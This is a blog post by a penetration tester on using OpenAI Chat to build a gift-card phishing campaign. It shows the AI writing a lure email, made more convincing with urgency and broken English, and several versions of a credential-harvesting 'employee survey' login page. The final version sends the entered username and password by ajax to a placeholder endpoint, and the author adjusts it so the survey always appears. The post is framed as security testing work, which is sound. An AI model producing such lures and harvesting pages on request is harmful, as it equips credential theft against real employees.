Using OpenAI Chat to Generate Phishing Campaigns
Background
OpenAI chat has exploded in popularity over the last couple of weeks. People are using it to do all sorts of interesting things. If you are unfamiliar with OpenAI Chat and GPT-3, you can find a primer here. The gist is that it’s an artificial intelligence model that you can chat with as if it were a person. It can do all kinds of things like answer questions, write code, find bugs in code, and more. It also remembers context, so you can refer to something you already mentioned at it is able to follow along. I thought maybe this could be a useful tool for building email phishing campaigns for my pentesting work, so I thought I’d try it out and see what I could get it to do.
Generating an Email
A classic phishing ruse we use a lot in the industry is the “gift card ruse”. The idea is we send an email to the target and entice them to fill out some kind of survey and in return they might win a gift card. The goal is to get the target to click on the link, and ideally the survey page will require a login and the target will provide their credentials. These credentials can then potentially be used as part of a network penetration test. Let’s see what OpenAI Chat can do for us.
Wow, that was shockingly good. This was created as the first request in a new conversation thread in OpenAI chat, so there was no prior context given. All I would need to do is update the target’s name, the sender’s name, and the link. The base email template is done. Even the subject line was provided.
Sometimes our clients haven’t done phishing engagements before and it makes sense to include some red flags in the message to make it easier to identify as a phishing email. Maybe we can tell OpenAI Chat to make it more suspicious?
Interestingly, this prompt changed the subject line slightly. It also added a sentence just above the link. It technically met my requirements, but it was a bit too on the nose. We don’t want to explicitly tell the recipient that the link “may not be what it seems”. We want them to infer that based on other clues such as spelling mistakes, grammar, or a sense of urgency to the email. Let’s try a different approach.
Now we’re talking. Asking OpenAI Chat to use broken english certainly adds a degree of phishiness without being overt. Let’s try kicking it up another notch.
I asked it to add a sense of urgency and it added a deadline of two days from today (I wrote this on December 8 and it set a deadline to December 10). It also added extra verbiage like, “Don’t miss out on your chance to win!”. This is excellent. One thing I noticed, though, is that it fixed the English. We can simply ask it to add it back in.
Now I have a great phishing email to use on my next campaign! Let’s start a new conversation context and see if we can generate something like this with a single prompt to make this process more efficient next time.
I couldn’t seem to get it to do it in a single pass, but this prompt first generates the base email and then alters it to use broken English. We still achieve the desired result of generating the email with a single prompt. Now we have another problem. We still need a landing page to point our phishing link at! We want the page to have a login form and ideally include an “employee survey” after submitting the form.
Generating a Landing Page
Maybe we can use OpenAI Chat to generate the survey page for us too? Let’s try it out.
I instructed OpenAI Chat to generate a page that includes a three-question satisfaction survey. But the survey should be hidden behind a login form. Since this would be used for a phishing engagement, we want to ensure the user supplies their credentials before they can view the survey.
OpenAI Chat first responded with an explaination of how you might implement such a web page. It then spit out example code to actually do it. The output length from OpenAI Chat is limited, so it didn’t output the entire code. However, you can just tell it “continue” and it will pick up where it left off.
Here is the full source code it provided:
<!DOCTYPE html>
<html>
<head>
<title>Employee Satisfaction Survey</title>
</head>
<body>
<!-- Login form -->
<form id="login-form">
<label>Username:</label><br>
<input type="text" id="username"><br>
<label>Password:</label><br>
<input type="password" id="password"><br><br>
<button type="submit">Login</button>
</form>
<!-- Employee satisfaction survey -->
<div id="survey" style="display: none;">
<h1>Employee Satisfaction Survey</h1>
<p>Please answer the following questions to help us improve your experience at our company.</p>
<form>
<label>1. How satisfied are you with your salary?</label><br>
<input type="radio" name="question1" value="very satisfied"> Very satisfied<br>
<input type="radio" name="question1" value="satisfied"> Satisfied<br>
<input type="radio" name="question1" value="neutral"> Neutral<br>
<input type="radio" name="question1" value="dissatisfied"> Dissatisfied<br>
<input type="radio" name="question1" value="very dissatisfied"> Very dissatisfied<br><br>
<label>2. How satisfied are you with your work-life balance?</label><br>
<input type="radio" name="question2" value="very satisfied"> Very satisfied<br>
<input type="radio" name="question2" value="satisfied"> Satisfied<br>
<input type="radio" name="question2" value="neutral"> Neutral<br>
<input type="radio" name="question2" value="dissatisfied"> Dissatisfied<br>
<input type="radio" name="question2" value="very dissatisfied"> Very dissatisfied<br><br>
<label>3. How satisfied are you with the support you receive from your manager?</label><br>
<input type="radio" name="question3" value="very satisfied"> Very satisfied<br>
<input type="radio" name="question3" value="satisfied"> Satisfied<br>
<input type="radio" name="question3" value="neutral"> Neutral<br>
<input type="radio" name="question3" value="dissatisfied"> Dissatisfied<br>
<input type="radio" name="question3" value="very dissatisfied"> Very dissatisfied<br><br>
<button type="submit">Submit Survey</button>
</form>
</div>
<!-- JavaScript code to reveal the survey when the user logs in -->
<script>
// Check whether the user's login credentials are correct
function checkLogin(username, password) {
// You would need to implement your own code here to check the username and password against your database or other source of user information
// For now, we will just assume that the username is "admin" and the password is "password"
return username === "admin" && password === "password";
}
// Show the survey when the user submits the login form
document.getElementById("login-form").addEventListener("submit", function(event) {
event.preventDefault();
// Get the username and password the user entered
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
// Check the login credentials
if (checkLogin(username, password)) {
// If the login is successful, show the survey
document.getElementById("survey").style.display = "block";
} else {
// If the login is unsuccessful, show an error message
alert("Invalid username or password. Please try again.");
}
});
</script>
</body>
</html>
Amazingly, it works almost exactly as described. The AI actually hardcoded in an example username and password to ensure the form is only revealed if the credentials are “correct”. It even included HTML comments to let me know that I need to implement my own code to validate the credentials, but they included an example for now. If I save this code locally and view the page in a browser, I get this:
If I then enter the credentials admin/password, I get this:
Amazing! It works! The code only needs minor tweaking to be workable. Here are the issues that need fixing:
- The survey should be revealed with any submitted username and password.
- Ideally the login form would be hidden after submission.
- The credentials are not actually submitted anywhere. In a real phishing engagement we might need them to be submitted to a phishing platform.
- The web page is ugly as sin.
All of this can be tweaked manually later as desired, but it gave us a basic place to start from. Then again, maybe OpenAI Chat can fix some of these problems for us?
I asked it to use a popular CSS framework to make the page look nice on a desktop computer. It chose Bootstrap. The new code does look better!
Next, let’s see if we can get the login form to hide itself after the credentials are submitted. I attempted to modify the code, but OpenAI booted me out of my session. It likes to do that sometimes. Unfortunately, this meant that I lost my conversation context and had to start over. This time, I tried giving OpenAI Chat a more descriptive prompt from the start.
Full code:
<!DOCTYPE html>
<html>
<head>
<title>Employee Satisfaction Survey</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<h1>Employee Satisfaction Survey</h1>
<div id="login-form" class="form-group">
<label for="username">Username:</label>
<input type="text" class="form-control" id="username">
<label for="password">Password:</label>
<input type="password" class="form-control" id="password">
<button type="submit" class="btn btn-primary" onclick="showSurvey()">Submit</button>
</div>
<div id="survey" style="display:none">
<p>Please answer the following questions to help us understand your satisfaction with your job and the company:</p>
<form>
<div class="form-group">
<label for="question1">1. How satisfied are you with your job?</label>
<input type="range" min="1" max="5" class="form-control" id="question1">
</div>
<div class="form-group">
<label for="question2">2. How satisfied are you with your colleagues?</label>
<input type="range" min="1" max="5" class="form-control" id="question2">
</div>
<div class="form-group">
<label for="question3">3. How satisfied are you with the company's leadership?</label>
<input type="range" min="1" max="5" class="form-control" id="question3">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
</div>
</div>
<script>
function showSurvey() {
document.getElementById('login-form').style.display = 'none';
document.getElementById('survey').style.display = 'block';
}
</script>
</body>
</html>
The new code is similar, but different in some interesting ways. First of all, it now hides the login form after the user “logs in”, so that’s perfect. It also uses Bootstrap, but the form seems to fill the page horizontally and doesn’t look great on a desktop, which I specifically requested. Also the new code does not do any validation of the username and password, so that’s a step in the right direction. The survey itself now uses sliders for some reason. I’m not sure why that decision was made, but I guess it doesn’t matter too much. Let’s update the code to fix these issues.
Here’s the resulting code:
<!DOCTYPE html>
<html>
<head>
<title>Employee Satisfaction Survey</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="max-width:500px">
<h1>Employee Satisfaction Survey</h1>
<div id="login-form" class="form-group">
<label for="username">Username:</label>
<input type="text" class="form-control" id="username">
<label for="password">Password:</label>
<input type="password" class="form-control" id="password">
<button type="submit" class="btn btn-primary" onclick="showSurvey()">Submit</button>
</div>
<div id="survey" style="display:none">
<p>Please answer the following questions to help us understand your satisfaction with your job and the company:</p>
<form>
<div class="form-group">
<label for="question1">1. How satisfied are you with your job?</label>
<input type="range" min="1" max="5" class="form-control" id="question1">
</div>
<div class="form-group">
<label for="question2">2. How satisfied are you with your colleagues?</label>
<input type="range" min="1" max="5" class="form-control" id="question2">
</div>
<div class="form-group">
<label for="question3">3. How satisfied are you with the company's leadership?</label>
<input type="range" min="1" max="5" class="form-control" id="question3">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
</div>
</div>
<script>
function showSurvey() {
var username = $('#username').val();
var password = $('#password').val();
$.ajax({
url: 'http://localhost/login',
type: 'POST',
data: {
username:username,
password: password
},
success: function(data) {
document.getElementById('login-form').style.display = 'none';
document.getElementById('survey').style.display = 'block';
}
});
}
</script>
</body>
</html>
And the new login form:
The code was updated to make the login page more narrow, and it actually looks nice now. It also now performs an ajax request upon login. This submits the credentials to localhost/login in the background, as requested. The only problem is that the survey will not be revealed unless the ajax request succeeds, and I don’t have a local web server running, so it will always fail. Rather than instruct OpenAI Chat to do something about this, I decided to just manually adjust the final bit of code. This was just a placeholder anyway, since in a real-world scenario I’d need to setup a real phishing infrastructure and use that instead. I only had to update the showSurvey() function.
function showSurvey() {
var username = $('#username').val();
var password = $('#password').val();
$.ajax({
url: 'http://localhost/login',
type: 'POST',
data: {
username:username,
password: password
},
success: function(data) {
}
});
document.getElementById('login-form').style.display = 'none';
document.getElementById('survey').style.display = 'block';
}
Now the function reveals the survey and hides the login form when the login button is clicked, regardless of whether or not the request to /login succeeds. If we “login”, we find the survey.
Results
This blew my mind. I was able to generate a phishing email and landing page by simply asking the computer to do it for me. With more time and practice, I think it would be possible to build more elaborate phishing campaigns this way and with less work “massaging” the input prompts. Of course, you still need to setup the infrastructure to actually perform the phish, but it’s not difficult to imagine a day where we can simply ask the computer to do that part for us.
It’s a bit scary to think that a real-world attacker may be able to abuse this technology to create phishing campaigns. The attacker wouldn’t even necessarily need a good grasp of their target language, as long as they can communicate what they want, the language model will spit out the result with proper spelling and grammar. I’m excited to see where this technology will lead.